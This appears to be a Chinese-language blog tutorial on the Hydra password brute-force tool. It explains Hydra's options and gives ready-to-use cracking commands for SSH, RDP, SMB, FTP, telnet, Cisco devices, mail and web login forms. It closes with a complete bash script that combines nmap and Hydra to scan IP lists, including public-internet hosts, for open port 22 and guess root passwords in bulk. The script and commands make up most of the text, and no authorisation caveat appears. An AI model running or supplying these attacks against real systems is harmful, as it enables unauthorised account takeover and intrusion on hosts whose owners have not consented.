Hydra爆破神器

Hydra爆破神器_爆破


纪年科技aming
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

纸上得来终觉浅,绝知此事要躬行 !!!
寻找志同道合伙伴创业中。。。


  • 全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的
  • 在Kali Linux下已经是默认安装的
  • hydra还支持GUI图形界面(xhydra)
    Hydra爆破神器_爆破_02

参数详解:

  • 帮助命令:hydra -h //查看基本用法

hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。

使用案例:

使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:

# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:

# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb:

# hydra -l administrator -P pass.txt IP smb

破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp 3389 :

hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet

# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp:

# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

 <form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

假设有以上一个密码登录表单,我们执行命令:

  # hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form 
  “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

说明:
  破解的用户名是admin,
  密码字典是pass.lst,
  破解结果保存在ok.lst,
  -t 是同时线程数为1,
  -f 是当破解了一个密码就停止,
  ip 是本地,就是目标ip,
  http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,
  后面

批量

 hydra -s 23 -V -l admin -p admin -t 16 -M IP地址目录 telnet
 hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V

Hydra爆破神器_渗透测试_03

组合拳 打造自己的 端口服务 弱密码爆破检测工具

SSH登录密码的破解工具已然有许多,但偶尔还是存在不能满足任务需求的情况。
比如,
批量地对IP列表里的IP地址进行SSH登录破解,
现有的工具直接使用起来总觉得不方便。

那么,能否利用现有的工具,来定制打造适合自己的装备?
当然可以,而且,这是想要偷懒的宝宝们需要掌握的一项技能。

  • eg 批量爆破 密码 流程
    首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。

这里用到两款强大的开源工具。
一个是nmap,用来探测22端口是否开启;
另一个是hydra,用来爆破SSH登录密码。

那么如何将这两款工具结合到一起使用,这里通过选用的是灵活的shell脚本。

Hydra爆破神器_渗透测试_04
过程分为两步,首先用nmap批量地扫描开放22端口的公网上的设备,运行命令如下

 nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt  

这条命令的含义是,扫描iplist.txt文件中的IP地址是否开启22端口;
如开启,则将这个结果输出到22-output.txt文件中。

这条命令还可以这样写:

 nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 

这是对一个网段的扫描,也可以换成一个IP。
-sS和-sU都是扫描策略的选项,
两个一起使用,可以提高扫描的可靠性。
在实际测试过程中(内网环境),
nmap还是存在漏扫的情况,想要提高它的准确率,还需自己不断尝试,
不断调整扫描策略才会有感觉。

第二步为,读取22-output.txt文件中开放22端口的主机,
使用hydra工具进行密码爆破,使用的命令如下:

 hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,
对IP地址为:192.168.0.12的主机进行密码破解。

grep “host:”用来过滤打印的输出,只输出破解到密码的条目。
由于hydra一次只能对一个IP进行破解,

因此,在shell中写了一个循环,hydra一次任务结束后,
立即进行下一个IP的破解,
直到将22-output.txt文件中IP遍历完为止。

代码如下所示。

 cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" 
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。
主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

 #!/bin/bash

if [ $# -lt 4 ] 
   #取得shell脚本参数个数 小于
   # $0 取得脚本名度称(包含路径)
then
   echo "usage: ./ -p ./password.txt -f ./iplist.txt"
   echo "usage: ./ -p ./password.txt -l 192.168.9.0/24"
   exit 1
fi

while [ -n "$1" ]  
#字符串不为null,长度大于零
do  
  case "$1" in    
  #表达式
    -p)  
    #匹配模式
        passfile=$2
        #echo $passfile 
        shift  
        ;;  
    -f)  
        nmap -vv -n -sS -sU -p22 -iL $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
        # 从列表中输入   输出扫描结果
        shift  
        ;;  
    -l)  
        nmap -vv -n -sS -sU -p22 $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 
        shift  
        ;; 
    *)  
        echo "$1 is not an option"  
        echo "usage: ./ -p ./password.txt -f ./iplist.txt"
        echo "usage: ./ -p ./password.txt -l 192.168.9.0/24"
        exit 1
        ;;  
  esac  
  shift  
done

echo "-----------port scan finished-----------"

chmod 666 ./22-output.txt

#echo `cat ./22-output.txt` 

cat ./22-output.txt | while read line
#读取扫描结果
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
    # 根据密码字典爆破root
done

echo "-------password guessing finished-------"

这个程序做了一些参数传递的判断,核心代码行十分精简。
在使用程序之前,
需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。
运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:
Hydra爆破神器_爆破_05
当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。